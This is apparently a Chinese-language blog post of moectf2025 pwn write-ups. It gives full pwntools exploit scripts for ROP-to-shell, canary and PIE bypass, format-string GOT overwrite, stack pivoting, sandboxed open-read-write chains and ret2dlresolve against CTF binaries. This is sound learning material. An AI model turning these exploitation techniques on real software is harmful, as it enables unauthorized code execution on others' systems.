pwn入门(一)

moectf2025

syslock

import ctypes
from pwn import *
io=remote("127.0.0.1","52550")
context(arch="amd64",os="linux",log_level="debug")
io.recvuntil(b"mode\n")
payload = b"-0000000000032\n"
io.send(payload)
io.recvuntil(b"password\n")
payload = b"\x3b"+b"\x00"*3+b"/bin/sh\x00"
io.send(payload)
io.recvuntil(b"Mode.\n")
#rdi_rsi_rdx+binsh+0+0+rax+59+syscall
rdi_rsi_rdx=p64(0x0401240)
syscall=p64(0x00401230)
pop_rax=p64(0x00401244)
binsh=p64(0x00404084)
payload=b"A"*72+rdi_rsi_rdx+binsh+p64(0)+p64(0)+pop_rax+p64(59)+syscall
io.send(payload)
io.interactive()


系统调用的实现方式如下

  1. 设定参数 rdi,rsi,rdx
  2. 设定rax,表示系统调用号
  3. 调用syscall

第一次溢出在bss段里写入/bin/sh,第二次溢出时用gadget和/bin/sh写payload

xdulaker

import ctypes
from pwn import *
io=remote("127.0.0.1","60376")
context(arch="amd64",os="linux",log_level="debug")

io.recvuntil(b">")
io.sendline("1")
io.recvuntil(b":")
opt=io.recvuntil(b"\n")[:-1]
opt=int(opt.decode(),16)
pie=opt-0x00004010
backdoor=pie+0x0000124e

io.recvuntil(b">")
io.sendline("2")
io.sendafter(b"!\n",b"xdulaker"*8)
io.recvuntil(b">")
io.sendline("3")
io.recvuntil(b"xdulaker\n")

payload=b"a"*56+p64(backdoor)
io.sendline(payload)
io.interactive()

先进行patch

patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn

patchelf --add-needed ./libc.so.6 ./pwn

程序开启了PIE,通过1操作得到bss中的opt地址

2操作写在栈上的内容不会被清除,可以覆盖3操作中的变量

ezpivot

import ctypes
from pwn import *
io=remote("127.0.0.1","63804")
context(arch="amd64",os="linux",log_level="debug")

io.recvuntil(b"introduction.\n")
io.sendline(b"-1")
payload=b"a"*(0x700-8)+p64(0x404060)+b"/bin/sh\x00"+p64(0x401219)+p64(0x404060+0x700)+p64(0x40101a)+p64(0x4010a0)
print(payload)
io.sendline(payload)

io.recvuntil(b"number:\n")
payload=b"a"*12+p64(0x404060+0x700)+p64(0x40120f)
print(payload)
io.send(payload)

io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}

栈迁移,因为system函数是第一次调用要跳到system@plt

ezprotection

import ctypes
from pwn import *
io=remote("127.0.0.1","61075")
context(arch="amd64",os="linux",log_level="debug")

io.recvuntil(b"you.\n")
io.send(b"A"*24+b"B")
io.recvuntil(b"B")
s=io.recvuntil(b"anyway.\n")
canary=b"\x00"+s[:7]
payload=b"A"*24+canary+b"A"*8+p16(0x327d)
io.send(payload)
s=io.recvall(timeout=1)
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}

  1. 溢出修改canary的最低位然后输出
  2. pie随机化最小到内存页大小,一般是0x1000,text段的后12位是不变的。可以通过溢出修改后16位,每次有1/16的概率正确

fmt_t

import ctypes
from pwn import *
io=remote("127.0.0.1","64010")
context(arch="amd64",os="linux",log_level="debug")

elf = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\libc.so.6')

io.send(b"%11$p")
io.recvuntil(b"0x")
libc_start=io.recvuntil(b"A")[:-1]
libc_start=int("0x"+libc_start.decode(),16)+0x30

libc.address=libc_start-0x29dc0
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh\x00'))

rop=ROP(libc)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi'])[0]
printf_got=elf.got['printf']

io.recvuntil(b"hell.\n")
io.send(b"sh\x00%")

io.recvuntil(b"hell.\n")
payload=p64(printf_got)+p64(printf_got+1)
io.send(payload)
# moectf{I-w1l1-41W@YS_6E_w4TchiNg_Y0u7afaf1}
io.recvuntil(b"hell.\n")
cnt1=system&0xff
cnt2=(system>>8)&0xffff
payload="%{}c%24$hhn".format(cnt1).encode()+"%{}c%25$hn".format(cnt2-cnt1).encode()
io.sendline(payload)

io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}


泄露栈上的一个地址,写printf_got,再用fmt把printf改成system。

用链修改栈上返回地址retpos->retaddr的流程是找到A->B,用%n向A写入retpos,变成B->retpos,再向B写入backdoor,变成retpos->backdoor

hardpivot

图片

vuln函数有16个字节的溢出,基本思路是栈迁移,构造rop链泄露基址再ret2libc。

迁移到bss段

没有栈上的地址也没开pie,可以迁移到bss段。需要多次读入,返回地址写成read

图片

这里的 buf 是 0x40,迁移的 addr 写成 bss+0x40 ,从 bss 开始写

payload1=b"A"*0x40+p64(bss+0x40)+p64(read)

输出puts@got

写完 buf 后把 rip 弄过去,再把 rbp 跳转到 bss2+0x40

payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+
p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
  1. 第一次迁移后,rip 指向 call _read 后,rbp 跳转到 bss+0x40
  2. 执行 read 后的 leave
  3. 执行 read 后的 ret
  4. 执行栈上的 leave ret
  5. 再次进入 read ,输入 payload3
stack pos reg1 reg2 reg3 reg4
bss2+0x40 bss rbp rbp
pop_rdi rip
puts_got rsp
puts_plt
read
padding
bss bss+0x40 rbp
leave_ret rsp rip
... rsp
bss2+0x40 rbp

ret2libc

payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+
p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)

exp

import ctypes
from pwn import *
io=remote("127.0.0.1","53774")
context(arch="amd64",os="linux",log_level="debug")

elf = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\libc.so.6')

read=0x401264
bss=0x4040A0+0x500

io.recvuntil(b"> ")
payload1=b"A"*0x40+p64(bss+0x40)+p64(read)
io.send(payload1)

ret=0x40101a
pop_rdi=0x40119e
leave_ret=0x40127b
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
io.send(payload2)
print(payload1)
print(payload2)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc.address=puts_addr - libc.symbols['puts']
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh'))

payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)
io.send(payload3)

io.interactive()

shellbox

沙箱orw,静态链接,openat

Snipaste_2026-01-19_17-04-54

main 向 buf 读入 256 个字节,然后每次往 v4 里读 8 个字节

Snipaste_2026-01-21_04-14-49

做法是先往 buf 里写 orw 的 rop 链,再把栈迁移过去。正常运行 v4 只能输入一次,但 v4 和 v5 相邻,可以在第一次输入时把 v5 覆盖成 1,下次读入从 rbp+8 开始。因为没法控制 rbp 的返回地址,要改一下迁移的写法,可以用 pop_rsp

payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)

payload1=p64(pop_rsp) # rbp+8
payload2=p64(buf+16)

然后就遇到了很神秘的问题,一开始payload是 ./flag + rop链,./flag写在 buf,rop 从 rbp+8 开始,结果没跑通,最后 buf 变成了奇怪的东西

图片

openat 把 buf 也就是 rbp+0x38 覆盖了,要预留空间

Snipaste_2026-01-21_04-52-14

import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

elf = ELF('./pwn')
io = process('./pwn')

write=0x4429f0
openat=0x442840
read=0x442950
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
pop_rsp=0x4121a8
buf=0x4ceb60
leave_ret=0x401ab0


io.recvuntil("it.\n")
payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)
io.send(payload)

io.recvuntil("..\n")
io.send(b"aaaa"+p32(1))

payload1=p64(pop_rsp)
payload2=p64(buf+16)


io.recvuntil(b">")
io.send(payload1)
io.recvuntil(b">")
io.send(payload2)

gdb.attach(io)

for i in range(6) :
    io.sendafter(b">",b"\x00"*8)

io.interactive()
"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))

"""

No way to leak

elf相关结构

.dynstr/strtab

string

.dynsym/symtab

typedef struct  
{  
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */  
  unsigned char st_info;        /* Symbol type and binding */  
  unsigned char st_other;       /* Symbol visibility */  
  Elf64_Section st_shndx;       /* Section index */  
  Elf64_Addr    st_value;       /* Symbol value */  
  Elf64_Xword   st_size;        /* Symbol size */  
} Elf64_Sym; 

.rela.plt/jmprel

typedef struct {
    Elf64_Addr  r_offset; // GOT 表项偏移
    Elf64_Xword r_info;   // 符号索引 + 重定位类型
    Elf64_Sxword r_addend;
} Elf64_Rela;

link_map

struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
}

延迟绑定

func@plt 是 jmp func@got + push index + jmp plt0,func@got最开始指向第二条指令。plt0是push got[1](linkmap) + jmp got[2](dl_runtime_resolve)dl_runtime_resolve调用_dl_fixup

_dl_fixup

dl_runtime_resolve传入参数后会进入_dl_fixup


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
  // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
  {
      // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
    const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }       

      /* We need to keep the scope around so do some locking.  This is
   not necessary for objects which cannot be unloaded or when
   we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
  {
    THREAD_GSCOPE_SET_FLAG ();
    flags |= DL_LOOKUP_GSCOPE_LOCK;
  }

      RTLD_ENABLE_FOREIGN_CALL;
  // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
            version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
  THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
   of the object that defines sym.  Now add in the symbol
   offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    { 
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
   address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

简单来说,dl_fixup接收linkmap和index,随后向got表里写入函数在内存中的位置

确定写入位置:
linkmap的l_info里找到.rela.plt的位置,用index找到函数在rel段对应的结构体,其中的offset作为要向got表写的地址

确定写入内容:
link_map的l_info里找到symtab的位置,用index找到函数在.rela.plt对应的结构体。在other为0时,r_info找到symtab中的位置,用s_name在strtab中找字符串,在libc中查找函数名的位置,得到运行地址。不为0时,s_value就是字符串在strtab的位置

ret2dlresolve

开启了partial relro,无法修改strtabsymtab。考虑进入other不为0的分支,修改l_addr和s_value,使得写入内容为system的地址。需要伪造一个linkmap,把l_addr改成libc_system-libc_func,s_value改成addr_func

exp

import ctypes
from pwn import *

context(arch="amd64",os="linux",log_level="debug")

elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
io=remote("127.0.0.1","33473")



def create_fake_linkmap (fake_linkmap_addr,known_func_ptr,offset) :
    linkmap = p64(offset & (2**64-1))
    linkmap += p64(0)                      #symtab
    linkmap += p64(known_func_ptr-0x8)     #直接用system@got-8,可以满足other不为0和s_value的要求
    linkmap += p64(0)                      #jmprel
    linkmap += p64(fake_linkmap_addr+0x28) #.rel.plt起始地址
    linkmap += p64((fake_linkmap_addr+0x38-offset) & (2**64-1))
    linkmap += p64(0x7)     #r_info
    linkmap += p64(0)       #got写回地址
    linkmap += p64(0)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'a')
    linkmap += p64(fake_linkmap_addr)       #strtab,随便写一个可读区域就行
    linkmap += p64(fake_linkmap_addr+0x8)   #symtab
    linkmap = linkmap.ljust(0xf8,b'a')
    linkmap += p64(fake_linkmap_addr+0x18)  #jmprel
    return linkmap


bss = 0x404080
bss_stage = bss+0x100
plt_load = 0x401026

read_got = elf.got['read']
read_plt = elf.plt['read']
l_addr = libc.sym['system']-libc.sym['read']


linkmap = create_fake_linkmap(bss_stage,read_got,l_addr)

ret = 0x40101a
pop_rdi = 0x40115e
pop_rsi = 0x401160

payload = flat (
    b'a'*15*8,
    pop_rdi,
    0,
    pop_rsi,
    bss_stage,
    read_plt,   
    pop_rdi,
    bss_stage+0x48,
    plt_load, #fake system@plt
    bss_stage,
    0
)

io.sendline(payload)
pause()
io.send(linkmap)
io.interactive()

"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))

"""

call_it

防护开得很全

图片

gift

图片

功能是用 rdi+0x8 作为参数,调用 rdi+0x10 的函数,可以利用

excute

图片

gesture里传入gift就可以直接执行了

然后确实可以溢出到gesture里

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
io=process("./call_it")


def opt(x) :
    io.recvuntil("gesture: ")
    io.sendline(x)
def talk(x) :
    io.recvuntil("gesture? ")
    io.send(x)


for i in range(7):
    opt("6")

opt("2")
talk(b"/bin/sh\x00\n")

#gdb.attach(io)


gift = 0x401235
system = 0x401228
binsh = 0x4040d0
payload = p64(gift)+p64(binsh)

opt("2")
talk(payload[0:15])

opt("2")
talk(p64(system)+b"\n")

opt("0")
io.interactive()

posted @ 2026-01-25 12:08  Kur0n1ko  阅读(28)  评论(0)    收藏  举报